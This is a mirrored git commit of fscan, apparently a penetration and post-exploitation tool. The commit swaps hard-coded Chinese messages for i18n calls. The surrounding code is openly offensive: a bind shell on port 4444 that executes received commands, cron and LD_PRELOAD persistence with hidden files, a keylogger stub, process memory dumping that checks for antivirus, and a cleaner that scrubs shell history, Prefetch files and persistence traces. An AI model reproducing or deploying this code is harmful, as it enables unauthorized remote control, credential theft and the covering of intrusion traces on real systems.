mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Expand i18n coverage
This commit is contained in:
@@ -58,7 +58,7 @@ func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []
|
||||
for _, name := range names {
|
||||
path := filepath.Join(dir, name)
|
||||
if err := os.Remove(path); err == nil {
|
||||
fmt.Fprintf(output, "[清理] %s\n", path)
|
||||
fmt.Fprintln(output, i18n.Tr("cleaner_removed", path))
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -70,7 +70,7 @@ func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string)
|
||||
cleaned := 0
|
||||
for _, f := range matches {
|
||||
if err := os.Remove(f); err == nil {
|
||||
fmt.Fprintf(output, "[清理] %s\n", f)
|
||||
fmt.Fprintln(output, i18n.Tr("cleaner_removed", f))
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -87,7 +87,7 @@ func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int {
|
||||
}
|
||||
for _, hf := range histFiles {
|
||||
if p.scrubHistory(hf) {
|
||||
fmt.Fprintf(output, "[清理] %s 中的 fscan 记录\n", hf)
|
||||
fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf))
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
func cleanPersistence(output *strings.Builder) int {
|
||||
@@ -52,7 +54,7 @@ func fixWinlogon(output *strings.Builder) int {
|
||||
val := extractRegValue(string(out))
|
||||
if val != "explorer.exe" && val != "" {
|
||||
exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run()
|
||||
output.WriteString(fmt.Sprintf("[恢复] Winlogon Shell: %s → explorer.exe\n", val))
|
||||
output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -63,7 +65,7 @@ func fixWinlogon(output *strings.Builder) int {
|
||||
defaultVal := `C:\Windows\system32\userinit.exe,`
|
||||
if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" {
|
||||
exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run()
|
||||
output.WriteString(fmt.Sprintf("[恢复] Winlogon Userinit: %s → %s\n", val, defaultVal))
|
||||
output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -77,7 +79,7 @@ func cleanIFEO(output *strings.Builder) int {
|
||||
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t)
|
||||
if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") {
|
||||
exec.Command("reg", "delete", key, "/f").Run()
|
||||
output.WriteString(fmt.Sprintf("[清理] IFEO: %s\n", t))
|
||||
output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -104,7 +106,7 @@ func cleanRegistryRun(output *strings.Builder) int {
|
||||
fields := strings.Fields(strings.TrimSpace(line))
|
||||
if len(fields) > 0 {
|
||||
exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run()
|
||||
output.WriteString(fmt.Sprintf("[清理] 注册表: %s\\%s\n", key, fields[0]))
|
||||
output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
break
|
||||
@@ -129,7 +131,7 @@ func cleanScheduledTasks(output *strings.Builder) int {
|
||||
if len(parts) > 0 {
|
||||
name := strings.Trim(parts[0], "\"\\")
|
||||
exec.Command("schtasks", "/delete", "/tn", name, "/f").Run()
|
||||
output.WriteString(fmt.Sprintf("[清理] 计划任务: %s\n", name))
|
||||
output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
break
|
||||
@@ -152,7 +154,7 @@ func cleanServices(output *strings.Builder) int {
|
||||
name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:"))
|
||||
exec.Command("sc", "stop", name).Run()
|
||||
exec.Command("sc", "delete", name).Run()
|
||||
output.WriteString(fmt.Sprintf("[清理] 服务: %s\n", name))
|
||||
output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -170,7 +172,7 @@ func cleanStartupFolders(output *strings.Builder) int {
|
||||
matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*"))
|
||||
for _, f := range matches {
|
||||
if os.Remove(f) == nil {
|
||||
output.WriteString(fmt.Sprintf("[清理] 启动文件夹: %s\n", f))
|
||||
output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -191,7 +193,7 @@ func cleanBITS(output *strings.Builder) int {
|
||||
if end := strings.Index(line[idx:], "}"); end != -1 {
|
||||
guid := line[idx : idx+end+1]
|
||||
exec.Command("bitsadmin", "/cancel", guid).Run()
|
||||
output.WriteString(fmt.Sprintf("[清理] BITS: %s\n", guid))
|
||||
output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
@@ -210,7 +212,7 @@ Write-Output 'WMI_CLEANED'
|
||||
`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
|
||||
if err == nil && strings.Contains(string(out), "WMI_CLEANED") {
|
||||
output.WriteString("[清理] WMI 事件订阅\n")
|
||||
output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n")
|
||||
cleaned++
|
||||
}
|
||||
return cleaned
|
||||
@@ -221,7 +223,7 @@ func cleanPrefetch(output *strings.Builder) int {
|
||||
matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`)
|
||||
for _, f := range matches {
|
||||
if os.Remove(f) == nil {
|
||||
output.WriteString(fmt.Sprintf("[清理] Prefetch: %s\n", f))
|
||||
output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n")
|
||||
cleaned++
|
||||
}
|
||||
}
|
||||
|
||||
+21
-21
@@ -42,8 +42,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
if runtime.GOOS != "linux" {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "计划任务持久化只支持Linux平台",
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
Output: i18n.GetText("crontask_linux_only"),
|
||||
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -52,8 +52,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
if p.targetFile == "" {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "必须通过 -persistence-file 参数指定目标文件路径",
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
Output: i18n.GetText("persistence_file_required"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -61,7 +61,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile),
|
||||
Output: i18n.Tr("target_file_not_exist", p.targetFile),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
@@ -70,63 +70,63 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
if _, err := exec.LookPath("crontab"); err != nil {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "crontab命令不可用",
|
||||
Output: i18n.GetText("crontab_unavailable"),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== 计划任务持久化 ===\n")
|
||||
fmt.Fprintf(&output, "目标文件: %s\n\n", p.targetFile)
|
||||
output.WriteString(i18n.GetText("crontask_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n")
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到持久化目录
|
||||
persistPath, err := p.copyToPersistPath()
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "✗ 复制文件失败: %v\n", err)
|
||||
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
|
||||
} else {
|
||||
fmt.Fprintf(&output, "✓ 文件已复制到: %s\n", persistPath)
|
||||
output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 添加用户crontab任务
|
||||
err = p.addUserCronJob(persistPath)
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "✗ 添加用户cron任务失败: %v\n", err)
|
||||
output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已添加用户crontab任务\n")
|
||||
output.WriteString(i18n.GetText("crontask_user_added") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 添加系统cron任务
|
||||
systemCronFiles, err := p.addSystemCronJobs(persistPath)
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "✗ 添加系统cron任务失败: %v\n", err)
|
||||
output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n")
|
||||
} else {
|
||||
fmt.Fprintf(&output, "✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", "))
|
||||
output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建at任务
|
||||
err = p.addAtJob(persistPath)
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "✗ 添加at任务失败: %v\n", err)
|
||||
output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已添加at延时任务\n")
|
||||
output.WriteString(i18n.GetText("crontask_at_added") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 5. 创建anacron任务
|
||||
err = p.addAnacronJob(persistPath)
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "✗ 添加anacron任务失败: %v\n", err)
|
||||
output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已添加anacron任务\n")
|
||||
output.WriteString(i18n.GetText("crontask_anacron_added") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
fmt.Fprintf(&output, "\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)
|
||||
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
@@ -166,7 +166,7 @@ func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建持久化目录")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed"))
|
||||
}
|
||||
|
||||
// 生成隐藏文件名
|
||||
@@ -258,7 +258,7 @@ func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何系统cron任务")
|
||||
return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none"))
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
|
||||
@@ -48,14 +48,14 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
port = 4444
|
||||
}
|
||||
|
||||
output.WriteString("=== 正向Shell服务器 ===\n")
|
||||
fmt.Fprintf(&output, "监听端口: %d\n", port)
|
||||
fmt.Fprintf(&output, "平台: %s\n\n", runtime.GOOS)
|
||||
output.WriteString(i18n.GetText("forwardshell_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动正向Shell服务器
|
||||
err := p.startForwardShellServer(ctx, port, state)
|
||||
if err != nil {
|
||||
fmt.Fprintf(&output, "正向Shell服务器错误: %v\n", err)
|
||||
output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -63,7 +63,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 正向Shell服务已完成\n")
|
||||
output.WriteString(i18n.GetText("forwardshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
@@ -79,7 +79,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
|
||||
}
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
@@ -169,7 +169,7 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("/bin/sh", "-c", command)
|
||||
default:
|
||||
_, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS)
|
||||
_, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS))
|
||||
return
|
||||
}
|
||||
|
||||
@@ -182,18 +182,18 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
_, _ = conn.Write([]byte("命令执行超时\n"))
|
||||
_, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n"))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
_, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err)
|
||||
_, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 发送命令输出
|
||||
if len(output) == 0 {
|
||||
_, _ = conn.Write([]byte("(命令执行成功,无输出)\n"))
|
||||
_, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n"))
|
||||
} else {
|
||||
_, _ = conn.Write(output)
|
||||
if !strings.HasSuffix(string(output), "\n") {
|
||||
|
||||
+23
-23
@@ -46,13 +46,13 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
outputFile = "keylog.txt"
|
||||
}
|
||||
|
||||
output.WriteString("=== 键盘记录 ===\n")
|
||||
output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
output.WriteString(i18n.GetText("keylogger_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 检查输出文件权限
|
||||
if err := p.checkOutputFilePermissions(outputFile); err != nil {
|
||||
output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -62,7 +62,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
|
||||
// 检查平台要求
|
||||
if err := p.checkPlatformRequirements(); err != nil {
|
||||
output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -73,7 +73,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
// 启动键盘记录
|
||||
err := p.startKeylogging(ctx, outputFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("keylogger_failed", err) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -82,9 +82,9 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
output.WriteString("✓ 键盘记录已完成\n")
|
||||
output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)))
|
||||
output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile))
|
||||
output.WriteString(i18n.GetText("keylogger_done") + "\n")
|
||||
output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n")
|
||||
output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
|
||||
@@ -109,11 +109,11 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
|
||||
case "darwin":
|
||||
err = p.startDarwinKeylogging(ctx)
|
||||
default:
|
||||
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("键盘记录失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err)
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
@@ -128,7 +128,7 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
|
||||
func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error {
|
||||
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err)
|
||||
return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err)
|
||||
}
|
||||
_ = file.Close()
|
||||
return nil
|
||||
@@ -144,7 +144,7 @@ func (p *KeyloggerPlugin) checkPlatformRequirements() error {
|
||||
case "darwin":
|
||||
return p.checkDarwinRequirements()
|
||||
default:
|
||||
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -170,25 +170,25 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
|
||||
|
||||
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法打开输出文件: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err)
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
// 写入头部信息
|
||||
header := "=== 键盘记录日志 ===\n"
|
||||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
|
||||
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
|
||||
header := i18n.GetText("keylogger_log_header") + "\n"
|
||||
header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n"
|
||||
header += i18n.Tr("local_platform", runtime.GOOS) + "\n"
|
||||
header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n"
|
||||
header += "========================\n\n"
|
||||
|
||||
if _, err := file.WriteString(header); err != nil {
|
||||
return fmt.Errorf("写入头部信息失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err)
|
||||
}
|
||||
|
||||
// 写入键盘记录
|
||||
for _, entry := range p.keyBuffer {
|
||||
if _, err := file.WriteString(entry + "\n"); err != nil {
|
||||
return fmt.Errorf("写入键盘记录失败: %w", err)
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,7 +199,7 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
// Windows平台键盘记录实现
|
||||
// 在实际实现中需要使用Windows API
|
||||
p.addKeyToBuffer("演示键盘记录 - Windows平台")
|
||||
p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows"))
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
@@ -215,7 +215,7 @@ func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
// Linux平台键盘记录实现
|
||||
// 在实际实现中需要访问/dev/input/event*设备
|
||||
p.addKeyToBuffer("演示键盘记录 - Linux平台")
|
||||
p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux"))
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
@@ -231,7 +231,7 @@ func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
// macOS平台键盘记录实现
|
||||
// 在实际实现中需要使用Core Graphics框架
|
||||
p.addKeyToBuffer("演示键盘记录 - macOS平台")
|
||||
p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin"))
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
|
||||
+21
-21
@@ -38,28 +38,28 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
|
||||
output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
targetFile := config.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
||||
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
||||
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
@@ -69,58 +69,58 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidFile(targetFile) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile))
|
||||
output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效文件类型"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== LD_PRELOAD持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
output.WriteString(i18n.GetText("ldpreload_header") + "\n")
|
||||
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到系统目录
|
||||
systemPath, err := p.copyToSystemPath(targetFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
|
||||
output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 添加到全局环境变量
|
||||
err = p.addToEnvironment(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已添加到全局环境变量\n")
|
||||
output.WriteString(i18n.GetText("ldpreload_env_added") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 添加到shell配置文件
|
||||
shellConfigs, err := p.addToShellConfigs(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
|
||||
output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建库配置文件
|
||||
err = p.createLdConfig(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
|
||||
output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n")
|
||||
} else {
|
||||
output.WriteString("✓ 已创建ld预加载配置\n")
|
||||
output.WriteString(i18n.GetText("ldpreload_config_created") + "\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
|
||||
output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
@@ -154,7 +154,7 @@ func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) {
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("找不到合适的系统库目录")
|
||||
return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found"))
|
||||
}
|
||||
|
||||
// 生成目标路径
|
||||
@@ -252,7 +252,7 @@ func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何shell配置文件")
|
||||
return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none"))
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
|
||||
+40
-40
@@ -96,11 +96,11 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 检查管理员权限
|
||||
if !p.isAdmin() {
|
||||
return &plugins.Result{Success: false, Output: "需要管理员权限\n", Error: errors.New("需要管理员权限")}
|
||||
return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))}
|
||||
}
|
||||
|
||||
if err := p.loadSystemDLLs(); err != nil {
|
||||
return &plugins.Result{Success: false, Output: fmt.Sprintf("加载系统DLL失败: %v\n", err), Error: err}
|
||||
return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err}
|
||||
}
|
||||
defer p.releaseSystemDLLs()
|
||||
|
||||
@@ -109,39 +109,39 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
|
||||
if !avActive {
|
||||
output.WriteString("[*] 尝试直接内存转储...\n")
|
||||
output.WriteString(i18n.GetText("minidump_try_direct") + "\n")
|
||||
if ok := p.tryDirectDump(ctx, pm, &output); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
